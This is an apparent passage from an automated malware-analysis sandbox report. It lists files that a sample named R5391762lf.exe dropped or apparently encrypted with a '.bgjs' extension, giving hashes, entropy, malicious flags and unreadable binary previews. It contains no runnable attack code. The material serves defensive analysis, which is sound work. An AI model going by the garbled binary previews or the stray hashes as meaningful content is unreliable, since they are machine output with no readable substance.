Preview:	10/03.5....bM....?KJ1q)...........pM_.S..Y.....i.B..).....d..s.8.T....l._lJX....@n.k..(.m..V......].&.\|.m...9.2.wC..J.>..C..........\....M.C.. ....b...A..#~&.COk.............}.....r......2...V.J...V...KD..O......S.....J.w.o.1..l`fg.......+.\|.?'.&v....?/.&..i.Io..[.m...GUL4B...1..K ..3.<^..G........4w.NpI..B....9e..\n...X..Y.+..s.......g.[.7+.o.pq.#...l.-..q..1.....(.,..#....z#.e,.......L.w..<.a..$...m..^.V..B2J-...gv@.1.x../v.J...>..J...r.....9.....ca..?.x}.qG....Z.."M..4\|R......P.....v..}R...c...j..4%.b.LI...5.l}u....k)]L....M4.e.M...r}.....$.H...i.S...?.9G...........lJn.I..+9...Q,\...oX.v#...7.f..{2.(...W.EY3..'.X.NCo...AG+.o...V{}.....z%...]4.....^......y.#.z.....W@a...1..>.j.[...%A.q......-..aE..p.b.c.&ZB.l...Z..{p....&...l..*...^...![.w...G,.M.......n.5x...OX...{..cp....Y..x.5..i.l..q...:.B.6.\)....)1..D..z$.a.....Eh.6.........>+..U.<S.5)..hK..q....:-..z#B$l....0..^...<....$.a...p-....c.ZZ.H..a...tU.o.S.0 ......0.....>..WwY....w..)..

C:\Users\jones\Local Settings\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (416), with no line terminators
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.740885792389724
Encrypted:	false
SSDEEP:	24:Qr0MmVPi9SE8Xmh9KuCMpBPqWvIJDXq8uWbD:iJlSE82h9KLaiVXFuED
MD5:	0C5178FA480E72361F223B3DEA858718
SHA1:	18A696DFDD4F8D0DD205F98F3D0483681EB23D2C
SHA-256:	4F94473D4564BAD85D2E9B926F048E2482755A60779F9456C43E2321DDACB6B8
SHA-512:	B08FE38E0D650FEDDDB390ADA7879AF8D5DAAAA8E0F74663EAEB13AE7A995A4CD351892CC8574AF04C7F90C88C9E1A81C0409C771C333FC000898765F5A3F684
Malicious:	false
Preview:	..1.0)T..w.~:.....0........W.J..@..AFY..%L..z....N.%b5...j...v\|_....=9...&..6...Ka.O....8..$.d.#~.=.'.3V..l...j..K8...g.....#qO.B_B8....{..`=L.......D.1........\...H.n.q..\......._.......=...?.0.w.H....[..w.....`./..n....,...Y.....{C#L.T}p.C..M..\..o..X.u..(...\.?#....:rU....}.......R.(Q..`...1:..x.5....i.;."...a..............7.$...dGnp!5+..^..B}....a......K.%..Co".t..7.W5.....`wy..add..5.6>..7.;.y..l1y....b..s.....J.]...0"fZ^Xy..M.z..O#cBy&..i......ar..........i.F....U..7"...Q.3/.:@......\|...Cz... ....n?...6...d.%'...F....h7.....yR...C'....7>.T...B..b......M...:WH...09d.......kX.D. P)...>s....b......D....Y..c...+.nQ2.$Gt:..K.E.-.{...v3._2r6.-..j?_.+...k.....tR.s...'.+."..1wg.y..m...^."t'j.$O[..6.."i...~*..V.V..$..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\Local Settings\Microsoft\Internet Explorer\ie4uinit-UserConfig.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (869), with no line terminators
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.884294398038022
Encrypted:	false
SSDEEP:	48:psEqB89Usnyhc2pYtqtIAfEZgDcS4Jl54HB7/8GhbsXFuED:hxyhh2JZgDcS+m8GBKFuQ
MD5:	C80B93C55E261EA60D88EDF34DF7ED8C
SHA1:	C137ADD07671183B73E6D720BA45B7998BBCA2DE
SHA-256:	2B9E4650CABC9DE714F01D749E8D8C39403CB987B30C25AF543679D3E23A4E23
SHA-512:	77705DAD7C2C87061DCFABFDDE786880B8F065FF509C4C0F064A1427FEC067A12FF265062E8EE3E41EE8FCC966F18F4D092EE4A1D520FE223F63A3436CD5D0D6
Malicious:	false
Preview:	..1.0f.T.....c...Z..R.T.....O.K^u.<d..>.d+.{u.Q.:......7z5.:....rR\|F.P.~..0..&;.h.w.. ...W.q......B.Y.B[.9...!M7P...8.yR....#....p,C)..$_.tA.g......i .....#.>n.%A..l.x.\|2zV.@U..;7.F..6.{zA8oW.%ii_.k....-r....Vi.......evuw...e.t....(.R."5^...Z~,......N..1. .k..-1.R.=.....9..Y.T.!......'.)......6.gQ......@....9,...V.e.i......s%kU..3.@"F.zl.Z....;..p.I&g'v....]!...Zv..b;$5......x'b:.q.2.....C.Z.D..vu..k.F3p?.9.mc[,Q...f.....a;....)..i.u..?x..B......Y.E.\|.6.N'...m.........C.../.\.2Z..."..0..L>#2,..z.b..#'+...Y.[W..d.....z..XU.' ........!#.y.!>...%=.C.../..R0.}.......p>g't...+.[y.5J....X{......:.O..+F.i.9..#..\.&.........O>..2.Qt..!C..[M..*+(...)....2q.\|/.A.e..]/.=....7K.._'..;.v.......b n...N .#.z..K.";G......uJ#x./g.............sST._...=edw-J3Xl.......@%..%.....E.[....o...is.>..>. I....d.!....o3.J{.H..B.s....bH.6.........&..m.!y..7.u}_...mm..a..._...I.n..F%D3+../&.....B./..Z.SH..,.1..(.I.....<o...{.Un...\...13.wR..&RZ..TQq....(.6....&$.K

C:\Users\jones\Local Settings\Microsoft\PenWorkspace\DiscoverCacheData.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1353
Entropy (8bit):	7.8446442729386785
Encrypted:	false
SSDEEP:	24:YT8gjINunCP7128lZldBqhdolf9c4exnD13JF/DDeYX1y/y634hSxXq8uWbD:YT8gU8CT120luhdcVA5DeYXATIwXFuED
MD5:	778841A30FD5E7BB990657646F23D755
SHA1:	F8A33392B9C38AD96C84B8EE01F49B3E7B0FA19A
SHA-256:	369BC0F919B44FB6031CD957CC1FB4C3E7C1D2C61603DFCE658332898350FCDD
SHA-512:	CF2BB923E47ADF123AB8192E229FD39B0B191F0807167DD074F6F26245250FD63C09DEEC815D0EF7A9C9B227BC13E07C0F2D50756F4A80211D13DA8BBC11A037
Malicious:	false
Preview:	{"Rec.......P......S.....0.CU......"z?.E#<9...J.9.........n.PN.3}lWHXG.o'.. .\|P.5..i;8.f).4.MVa.Y.P......9.....I..[..`+F...mX....\|.4N.H<..l.u.iU..{.w;g.....__bT..P.f.@...:......G...2....BE.v..FD..1.M.z`"(.N.6P..Kt.p&;.X....E..F...!k.\..O... _B.....Ir.R...~..c$.7.r..J3.q...x".5X^o..I..@.. B.)./....^!.#f..Y)X.#.R9.......Y.Y...L.......a........,...[....a....3...v~..`nW..:/...".{........j.~..QX..j.u."Y.E..v0..3....~.0....}.....`.c..W..l.i.....dA..^..i.T....k.{[j.. ....z.83.R..9.r..PW.(.8K..f..fq.V.C.362...^..oy..+.+.:.9..BE.?{.q.d.L]a".I. *..:-.x..g\..........g..:...E.^...>.%.'.7..ThZ..C...'....Q...j$.y...>..R..%....F(_.x.F...5O.(.SH.Pi...v...Y....c../.q..:_.W/x.Uy..~.....i.Wk.<..EN6C......iV....]&M. .&.h..........:...O.B.h.s.>D"..5....F...X;{..7.d.O....C.,x.......K...^G[.f..R..8..V0zH...[...\|-....'..'........(d.9..\.Et`.=.8....R.K........-k...b...T`{?]~e..F..{.....N.k>o.F......-v.Jbfbo..\|h=.....HB... .{.Z.0.0........zpd....2

C:\Users\jones\Local Settings\Microsoft\Windows\UsrClass.dat.LOG1.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	865614
Entropy (8bit):	4.3099146149903165
Encrypted:	false
SSDEEP:	12288:Em1I4MeG8HqfH5Y+nNJC6JZ2x/pZCJC6JZ2Sz2CJC6JZ2s:EVreG8HMH1
MD5:	91F40BA50C1A7A748B8318E86499F04F
SHA1:	697E1B92C329F85AFC9BC087E1BB8322B25A1277
SHA-256:	C5107C2DE3CC979994865BF806D17F6A5446D1352727569D81E29AAA5DC701F2
SHA-512:	923EC0E8912FDBA9D3BF9499682CE8C4272CD90AEBFB56234F24BBECAADC9AA63876B9626A1742D3AF24D2642880E2E0E1DF60F2A34D877CFCB795EF4D8063F8
Malicious:	false
Preview:	regf=..?.......pSy...\!BJ!.?.z;.G..h.....c{.....V ...P..>`.T.Se.f...H}..u..6m..L.vjP(........A-M...{......A..-TE_-XOQ....!R.e..%..S...z...;4.:.r..4..Em.H.....2.....o/.}............x...4f...hL..mB..[.Yi......e.......%..>^c...QC.....s..f4..........#.;........J.6...'...~.^.l.g2LL......'.o..Kw...x..9.....{.3.&G........N.....k.....Q.L..f.(./'v.......s...\\| -.e?........^Q..v...B..ZI5......G.D..x..Qf..0.Dm.2..pW....!...B..8..,../*...7DU.a.k..%...V..Yz.Pm....Y.9.]...8B5/...M>./.>.`o....>Z^s4<'.{...(y.z.w....<....%!.c.`Xy/ .$B8.(..Y..e2^.........'c.......D...dYE."e.hD{J.........dO..k..s........2.].\|....T d...\|....c.n.....A.......+g!!....G......8B..>.>....Z....x.......;k......P.#).]e.`.'O.\F.}.......k.7...}sK.Di.....B... ..Qy...o..!.e..g._^lE&.O.P[......v".=}....k...Kk............L..=.9.p#. ..Wm}..w..0L(...C.$]...F.g\|.....!..F\|p...h....{. x.i.o.....D.....;.C.,B.Y.'.%..N]fg...U68[.!.lW....... .....F/.\...V3.S....a...F@j..."(..I....L.b..d.....+.

C:\Users\jones\Local Settings\Microsoft\Windows\UsrClass.dat.LOG2.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	865614
Entropy (8bit):	4.519824943922001
Encrypted:	false
SSDEEP:	12288:ft8OCNP3dDiClzY8PrZZCJC6JZ27J6JZ2CM2C6JZ28:18Oiib
MD5:	4AFCA400E0765182473469BD39D7B8C9
SHA1:	73E8FFF76685FDD0BC608F36E92ACF98F98FAFDE
SHA-256:	30A5ED777252853A16817676D6833D6CCD8C72B22D6DB8CA5FF4114177B4CF7A
SHA-512:	A9040F7E7D05D1D210AB5DAFCB0F2D99A8CAE5B2732929DF35158CA4947A1C4E9D70E588918B10908A8D8D93AC6F2758DC520822EDD86252E33D8D15C85BCCB7
Malicious:	false
Preview:	regf9:q..........0.;.v..z.wk&.MU.[~...W<..$O..s....M..4.{.....E...uG.....L.^....G.j;..+..?H.P<.RZ.wY!M.X..r............\|..H...\|.l\|...%@.. .;. j.......;...r9....O..P.......U...m.~.U.&...ALX.Y.5L...nz.\.7.h.../.......Y...k._. ^..b9uCl.G...F.)e..Y50nEJ..u#d..QS%.....u...-F2`.6j.,.y..F!....h.....}..h...'O.../.mJ.[...\|M.....p.......-.7..}...B.&0.D.U....b.W......T.p.............5.,...g{.....A3o..&U...(.e.%..ncq..5c.Y.({$.......3..m...+B.Q.......b........+..*.`..NX....hs.....v...r2.:,.).....h..sz.a..SdSn.9]TV..X04.6.tW"Y..,.Mc./.9.@..X.X.u.Z~.!..'ah..8....B.0G..R...}<....].<.G............im,...-./l.n ...ZR..X.(..le.>.......-..`?..a..Z.k..,.5.`.S..6..........%..S&.tB.....tau...:#w..(?x...;...m..\|...?...FjH..D..."AyS...........i.#.........<......#,"1....D.].....i.w.....`.NO...u..........w...3..Z.dJ+..i...G.U-,.....4.u._.......+&8$....S.;.#.[.D'gv.5...y.3"[...j+...h-9YD. .g\.Hl..;.J.........h{.....K..g#C.(:.@../5.."V..17....B$0.O7.Zr........

C:\Users\jones\Local Settings\Microsoft\Windows\UsrClass.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	3408206
Entropy (8bit):	4.762406666733501
Encrypted:	false
SSDEEP:	24576:Rnr07RyHDUooyNn2OOpctVMiA8DqkXci5QftnmMUv+:RrpHDUooykpctVMiA8DqkXci5QBX++
MD5:	67239306E9C13FCEF08E01E235E5302C
SHA1:	FC8F6025A16B6134E3C9CC8EA1904042C013D866
SHA-256:	B3CF6E4F10499C422A57421ECC2968999C143045580112FCAC04E10C47BC9399
SHA-512:	C8499053DC544A7F159F891A3F15D02040B15B76A652388BE0792D6045DE17C43FB5A47EAB88FA961546721BA592687BDC1A3BEFB57EBED40C0B56C6954913A2
Malicious:	false
Preview:	regf>..%..m.;.se.a9.P#?.......aH.\.....K..~......C.E..z..)..X.z.........w.-Jk.H\|..%...nNN.b.1#Y:.O;.....W.+].u<.r....Su..@.#.......ZN[..Wy;.?.{s..!u.n..8f&.u./.V(.B3...r....e.e......07$\....2...e..}.......S..W...V. .....?C.0oL.i...3..`...$......,n#...jW..}d...<.A......Xm.o\......!.m.,8..I.....sW..J.t..].bU,)X..9..w.A..E....~q....{...F...<]"..rm.uY..nb]t.T. .....+G....t.V......;.8.X.M..y.......\|..._f....u...G{.t%K...eY.^^.. ....r'.e..`....^H.% %L%..Z..#.E.....XE........_.j...C..R.....X&.h...-_.qT..7.7A..ln.....D.p.j[.{+.~\&uy..m.V5Wh.n.S5:.C.T......./.R.U5.)w.Lu...N.7#.S.kh.....'.n-.F.C.....+......0..(.../:.r....4....Q..U#.2..]$R...`.,..a.B..iK....J.l........x..;.Vu...o.y...X...../{....9.r....Q.2H..c....b`Q.FR.......6./l...i.n...Na';.Z2..[..<..Q.b...6..x..[.`....1-..e'..h.e.....}.Qh.w(t ...9.&..q.+k..3@..;...s.^Y..[.M..1.aa.......SJ.@...V...^...R.`.../.....2Y1F...x; /........-2..Z..i..>.......^..R..5=.......=9Qz....y......

C:\Users\jones\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	12272
Entropy (8bit):	7.985667094543266
Encrypted:	false
SSDEEP:	192:ygJDxdBkTcH52G6auXHNN4kEosdgePuYBX51zrnWO4/32XVzhrWtdbLQ:fxdkco284kEbgetBJ1ncf2XLWtdbLQ
MD5:	EC9C79B5073D4FE97E29B687B88A4858
SHA1:	1E208BA9EE0C2B82208296F8D8794297826FDEA2
SHA-256:	3DE9731C7CDFF467AE654A020597C9AEA98ED4549D8BE05D422DBC73F91EA41F
SHA-512:	F6BAD662C24E93B772AAFBDFFD8CE6ACC6EA2C59CFD00BD3F6E86E1C60713001ECD60E64EA669EB42FAB59ACEF0A4B7AABFA212BD39458B003CE1ECF59709236
Malicious:	false
Preview:	03-10....L..1r.....X....8......P..6.E.Fw...O... .......O..(.YP."..n..o......]f.3.\O..}.x.hA._m....TS.'..CU8+..v].~Q..j..xu....h...........0.V.q..fS..,".......#.2dv..o"....V.. ..2Y.....Q.+T..5. J..".K....u.v..0x... ..._..........26=.l4....n.^.............i...5.y.g...1.....Au...q..O?T.O._..[9..>..F)...\..5Pp..4"h....]?..N..\|..J.J.y..O.LW..h\|z....RP....{..uKW`..{.....g...&Q.u.#....^g{...f......=.S.co h.:E.....887...R_.y.T.Y{.f... '.9....Jt..}..B...8.}...\|.u.........6.\...@..+.-..+..=..p.....Z!.T^}.\.a.4zKMAz.;...,>wTlK._Ky.....#.g...8Y...9M%...........,..n..c..U.v..\|.vt^.....o..d .9 ..V.C8.`.Xv...>.....<,...%.R[..v9.A.m.p.j..\..U.....@..Hy....k..>X..sf!.o...g...d....{.....q._...u..a.A..../.gH.+.7~..a.K.V.;.cw..RC!.?...._..>V....\..l.~R..6..jU-w..f....o.5~......Q0K.c_Nb...p..[....ZB.f....Y...{.....ip....P...eio.).j?...1.V.m....D.l.7.u..Q...[-... .{ns.=..`.M.n..<.{!.....O..=.#...1.29h..1g.'\E.g=..0.<Z...{G......+..7\|......d].....d.+

C:\Users\jones\Local Settings\Temp\wctEA40.tmp.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	74540
Entropy (8bit):	7.997626790003259
Encrypted:	true
SSDEEP:	1536:RmKsbS+/N0OcTvUpp8D/fXIV3kpSvoNxDxOgFKliJV0F1sMw+rcRQ:cKK/PurzvEUIAPDbcw3X28Q
MD5:	B3D7C5B89739444294820F6857D2844B
SHA1:	F6DC61B365F8541E5B69CEB09C28BD9D7FCB6BF7
SHA-256:	24CE00F7940865014141239AFA486904B293C8196F343B8423343D88AD31AF27
SHA-512:	440DAD43987BCE1848815C182D13C1C33D3BD8D955E04CC2DC47D5152F6E9B36BFAB44D4935047C9D0099CB197595A1FBD6ACCB32BC061063BA6139E79F45176
Malicious:	true
Preview:	{"ramm.v.w.Yf"...~.66..%....r'..B.,H.N.TH..T.f._9#....Iu.C[S[[.a`.e2...?".t....n....(..O.(. ..Tg..<.K@..V...........C~..Oj.\..rL.B._.N,..@.* .Q3+J......f.".j.I.-.l..6...+.^w.Q...S...M0.A.M9.:p.^9.........d...`..<,.l..).9!.......5.l....b.Xf.................!._&.0..H.6..@.n.8..Q....'..z.I..{......E...>.~.7........4.Y.6..4.I...O.\+.....eF.;Vg...k.JN.E]Vh.N..C=.b...y)...m.m...~...PZ...w.."..7.......m.Yt......\.I..... ..Yf. 4.t.KzI.#0.`.}....#.=.;C-.A`..43W..y./?,:.H..`.R....+h....\E.L..............+.ER.^...z......2]$$\....K.e,.+....9..&0.7K..........+..Ga..gw..V.....>.....b.e...t\|.....l....c....:7m..{ZC..,[\|...q..o..H.c[@.V..(.G...!C........C....VGS._.0..o.m .bY..f;9W.o.......<)...X.[...&.....)]..(..".[.l.Z+..RH5.B;%:..\|.Jy.._....s...t.......Y]..3..\|...;.J~.._\......`.O......c%.*v\|...B...%,+...i>].?e.?...9d...`.YuQ.[.K....N.Zq.................$.../=.5..=:"_K..y..YH3..E.w..7Bs>..=f.b7.z...Z..F....a...&3...._6;M.].6.-.&"B.)&:0...GK....o..v.....

C:\Users\jones\Local Settings\Temp\wctF86A.tmp.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	42164934
Entropy (8bit):	7.947664301220234
Encrypted:	false
SSDEEP:	786432:vS7wQNeYDxVRrMPJy7LVV4NDDmdrZy9wOtg5gGOdjtjSNu4GIluUNj56I59SV:hQcWxDMPnN+dk65gGUjku4vNjLjSV
MD5:	5AE7E6BB2586E4F483CE3FFB15BF68F1
SHA1:	5AC2BD3436F87C0C7FB37388F966071992FCFDE3
SHA-256:	29ECA7FCFB33D6D0F9EF61A3116A9646940C549423419730DCFE81048F1C69AA
SHA-512:	CA86E53F0A742E5E86B0CC44D1C0FBF7C93461CF48D151780E2F9D8191578EE49D0DB09BC9D6094BD4D50C4936DF561FB8724C3C4CF155A2F62A4A31CA86E9D7
Malicious:	true
Preview:	MZ...-.\.pGbk....=....../(.u.[..AF.t..Q..........LV.N..q".[....7..).S~....^u.g.~'.N..Sa........#~.\.\|....a.0.R.> ..lnS....&....]...k..M-(k...~~....9....>.9..L..](.R.}.....s$..w...+.Q?<.....%J......C...f3w..aG...N3....P....T.&7.....=5..l..y@...U.W.f.R.2'...^f...8Z....y.z.....P..34.(...x.....^.Fy..5..>~.... ....B..y&.N.......S...bY.h..O..4..nu...K...x......q..J.....i.,.8...&....6...DN~.j...)...f.H.3....0W.6..[j..'Oh.9DfM..M.vYr...."yQ[W .!.O.I.[..8...&.....hV.>...<".f...;b.k*...#..1.#.....0N.3?C..lsq.^`$wI\|.......Z+U..}9k./fO.I....Be..KS..s.&.+.`.si....C.T....a.n...~mm..._d.~&...,..X..hmV"...x..h.d.icC..~~?..]b.(..edueN.\|.....-.v]..Q....c....bQe..4..2,H.'x'.c.o..E'.....uz..TM..j58.n..-lpj.%...4.....n.....z;...9.K;.YW..y....p'd.t...1...z.8....X(.uJmx...#..)..VCp.j{8..a0.g..O^.......K...>....,.........\\|...T.K..O....F....[l.@...;.o..r-.YH...{{.U_tu.4.f....s0+....0K.X...2Wp .....4D&..N.k}.<?I.J..q'..... ..'.._..D..u...V..S...p....R...+..:Vz.$

C:\Users\jones\Local Settings\Temp\wmsetup.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.784084266586262
Encrypted:	false
SSDEEP:	24:tV+B4nFyN4E8jI3qQUKwaabcZLWpqA0eVCKprkchPzC4Xq8uWbD:n+SFhDI3mcZLQ/Jpro4XFuED
MD5:	34F3B3E8C16D03200D898A87E56BAD79
SHA1:	7EEEA596387DA8D9BC05196E01A34570FB407505
SHA-256:	D1467344A3B6E58030FED59793DFD0C082F916C5E0FABE1BBF5A01682EBC6C0B
SHA-512:	55AA0EAC8AB20DFB7292A99F1F5F1591C8FFB032C9E3D8486D9C8148632E765BCEF768926069A0A4FDF1083AFDD6CBEC89D7F080C6AED5D3C494B3D0C555A1F9
Malicious:	false
Preview:	..[W.K..b..%..if......J...=-......Hl..w"y6........."d.w.?..Qu.V...h....C;-sA}lM..w...sb.$.cg.-......8..LYT.:.... ]h..X.X%`.....o.AE..vL`.SZo.Eg...e...:....v.....2,.K.....(.......G...5Y...6{W9..?........3.......(.%wi.csT.Y[..26.{..../..... ........'>n.=..P..44.5.y.$.+.73$...V@E..+?......`..UC..9....~.A....(.4Y...\|..f.+..p.n..R.6=../1...\|.d..?. M....aU..f..4..T...\..r....Q7.e.u69...-2..~...`qY...hE..lD.T....V.L.q.g.>..=-S-pFiL...~{'.N.......6....3..2...8.......M]....'..v-....(.... ..(1..,..V...p...o.........-...VR.......u..I.O.(..]i..y..=.)lz.\..8...X...]....G.`..=+....I.............ul.0..{......]..^.....B...Q.u^.)z.D.c&..<.V.I..D.q....}...v...o.-....e...@.U..6.....3..$..I...`:^..0@ 3A.8......t.pQk..T.M..4.9........{.v.k..%[..x.c$Mi.iRXK.........q_....Z\D..~.S.1..........p.9{.3...?...jk..55..[.. .c..'s..X.0.t..s..Gx..,.5...XO.y.@.........@.....I,T.:z....1..&w...K.DD$..B+....t.=U...R!..^?hV.&;..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698

C:\Users\jones\Local Settings\Temp\{5871238D-BEB9-464A-931F-701C8F0FFB10}.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.968004347615181
Encrypted:	false
SSDEEP:	96:cBQdXLxDt9sBVttPWEN7YIy4frUFkn86YmPVz5FfJll3FrRupfY9K87gEuX9BFuQ:CsXmV+4muUFk86YmPjvvRRsw9j7gEuN7
MD5:	3A2D18AED250DB9D763216F182F029E0
SHA1:	4C8D5BB6E8033FBB69CB3A9F54325AE1E184324B
SHA-256:	7A9D6ADCEE1A6E43DCB0A5499DB16DEE0CF516EAFC66F484618F5B0CE75351F9
SHA-512:	BF11F33783261EB362D94A7EA850C00B48731027C4FBB879EEDFFEEFE0F7E637E6BEC7908F5B5E75A5291A42AF77E5CB04A4A1B3AA1D36CABF7338925337C2BB
Malicious:	false
Preview:	.PNG......R....S.o.S8:.....&..m.....5..z......UK.g..-o8...T}.".b..C2...........h....n...Uu.s.C.......Q.$O...._.._a....m.8.Ve..;..a.}yW-..9.%..o....D4M..$.])....&1............ti"....../.......#.B@..l(P.../...!~........N=...?...I....%.W.TZ.D.....b.y<3..&h.eQ.........Y.U.BIh....J.....o>..-6.:Zq.[.f......([(...Q.A.. ...1.&_.V.'.. .YST7;....fY.Z......W)..YUkM.PX7.Lx...5.\|..L.......3.s`.&...b...}NJ[......BZ.0.ts:-.......].0CX....t\|.=jB.PA..Qw......!.-I....-#}%>._M..o.7......e..^..P..l.....6o....rFK.%..X.......;".Y"...m7.....5....@B.6....%.c......p+...c-K.>0 ..6.......Y. b..k'(5...O.u..[.P..LR.Ez>5.q....e......7......c..m3.t..k.....6.v...kA......s....4...jkb}.Wk..WOb..8.>...B.....d.-...m...<...0..`..]....<......Uc..Fo.".52(M./4z.....:..!.s.lts...p.lg........u`';z..8..;...........S..[...)*...,%.V..%..6..".....`.I.....L.'.N...w.{.B:\|.....t...@...}.........n.6.ps\...,b....G..U...}......@....2.J....?kn.........G'..4...l..->..a...\(P..

C:\Users\jones\Local Settings\Temp\{5F969F84-5F34-4AF8-8D36-D6D6A1668750}.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.971333727198546
Encrypted:	false
SSDEEP:	96:NzBHauS7b4kMwZ8gpjCfkAD4ROb0RjoyEa4ASvkpzIJxs/moLt9Mm+Iqlk3FuQ:Nl6v7DK2jCcADvyEWFIJGmoLz3OPQ
MD5:	B47E5F2ED307DFB44CA7CCD19E6A47EF
SHA1:	8473788318E8C10ECE35DD24573A91C00325BCD6
SHA-256:	8F514E0A691E3F64D861A4642812D8D8D6B6D45559AE782C916920F767F56007
SHA-512:	665A85DE2F492081CFEEC976EBE19D8FE6A9850B962C94EDEC6659A03CEDCF03C720123EF9D548BA4C2A902CB5B5BCE6107E803540692DF865FD7592F8613F22
Malicious:	false
Preview:	.PNG.....0.....{.......q\|y..X.lq...4....vXQ.!x'.{.O....b.p:....\|.'..b.?.z0S".1..&.a..3.n9.YS ....n...u-.q.-..dg.....0...:"vx.&.Y.g.....}<.g..-..M.... ...6......9...u..k"w.s.B.......q....g..F..b...^.iz.. .O...%e.cpf_Os..0.f..+.hC.a...2V.....6.. `.....&..c..#..+...9D.Q.....)..m}...N...?.].TF.....[vO.1....w....p[....vjS......k9...f3[.XT.fe1w..m......&3.].R.:.!...F71.....u...?4...U+.$.a..........N...2.c..iD.cm.s.".@.W...+.I'............@...,.T..zdL:u.j.....p.].d.P(.aO@..V>r.:..2-..c.>.. .%.,....V..(...!.D..u;...)..U..uB....-.................j.}`.4..(TR...}..K.sq517....9a.P.n.i...9..-y..9. ...\|..&.I0a..E.o.._.#7y.......9.._[......KZ.Q..Dy....i/..3..."..]$..SLj....mo ...0...=.Cd.-7.\....}Vr.ML....,....E...~-.....7.#x.px..clj.X.8..e...Q..T..p...4...h]`...Gm..KL....'... ....xM..h@.......K..e.*. @..`..J..,.r...._..G..1.{...G.e.f..s..5.....c..:....SP....z].7.8....w.A..{....J....V.C....-..........D..S1d.)..]......G$.tJ.2...&NAu...[..y

C:\Users\jones\NTUSER.DAT

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	3408206
Entropy (8bit):	4.9147334811749825
Encrypted:	false
SSDEEP:	49152:2RUv0QVyaOIUWUpElep2eHkpaNYug/mpaNYUp:UU8QVykb
MD5:	E8382F45F9DD93B9294F58C6AD103741
SHA1:	047608CA5572DFF78DCBBB94DDA37C22AEF68C63
SHA-256:	3B93F9733741AD822EF1FA71AF79B5421F93D81902D1F80BB1EEB4C4541248B6
SHA-512:	908321415A66881ED7C5588C4C2B88471D2D00972087C9BA95C2CD54678049048EDDBDDEF842FAAEC55850C28FDC74FCB9C10C8AB8D58E1BA90A3120DD7A911E
Malicious:	false
Preview:	regf...[./Q...?...L?..ya...4...G^......%..v..SU......T.S....1U./....p..%.q..OlxC..u.$...>....?.:^u..G...........u].l....E.T.X^...P....wb.../..>.!>.Wa.N..(..7o.O.......'.4..aLr..C'......7!..q.H........v...\|......L.q..U._{.M;.A^...g.........}..%m....G........ ..a.b....U@..k.\|.....\S......<H..B..j..B....T;cS.]b[..B.y.J.:.G.....\|.....)q...t.....By\|.&....$4....)..?.._...b.........i1.>.Y.....Y..T.E........X.n'-.^..#......Q.8.4.Z...q..S.t,.'......@W...^..R....t?.........\...I.u.b^..A<..r:T_....E.x...[..@q.'...!............o..7..V..P.4......T.q.._.....-0....S.7q,....2S.....oi7....1L.n._Ila.......r......:3. ...@!$}...7k..R.,.I..gV@.q.d..d\\.>..}..PK..'.7.[d...Gbw.~n...l.M\|..........O..........bw.R..6.........b.0.5.N..jl..ea.(...(,?.g=+n.&c....+.\|..\d=....t.9..TB.E(.L7,`Cw...J??......Y...e ...[.....2fs............/`P.e..8.".=.vD....R;.<..'.t.T.;oMQ..;3WE.3..EE~%.U."sp.Cj....j.D....bY.o..H....3.....6..w.... .t...M.OE.<.........DI.agQ$.(..

C:\Users\jones\NTUSER.DAT.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	3408206
Entropy (8bit):	4.9147334811749825
Encrypted:	false
SSDEEP:	49152:2RUv0QVyaOIUWUpElep2eHkpaNYug/mpaNYUp:UU8QVykb
MD5:	E8382F45F9DD93B9294F58C6AD103741
SHA1:	047608CA5572DFF78DCBBB94DDA37C22AEF68C63
SHA-256:	3B93F9733741AD822EF1FA71AF79B5421F93D81902D1F80BB1EEB4C4541248B6
SHA-512:	908321415A66881ED7C5588C4C2B88471D2D00972087C9BA95C2CD54678049048EDDBDDEF842FAAEC55850C28FDC74FCB9C10C8AB8D58E1BA90A3120DD7A911E
Malicious:	false
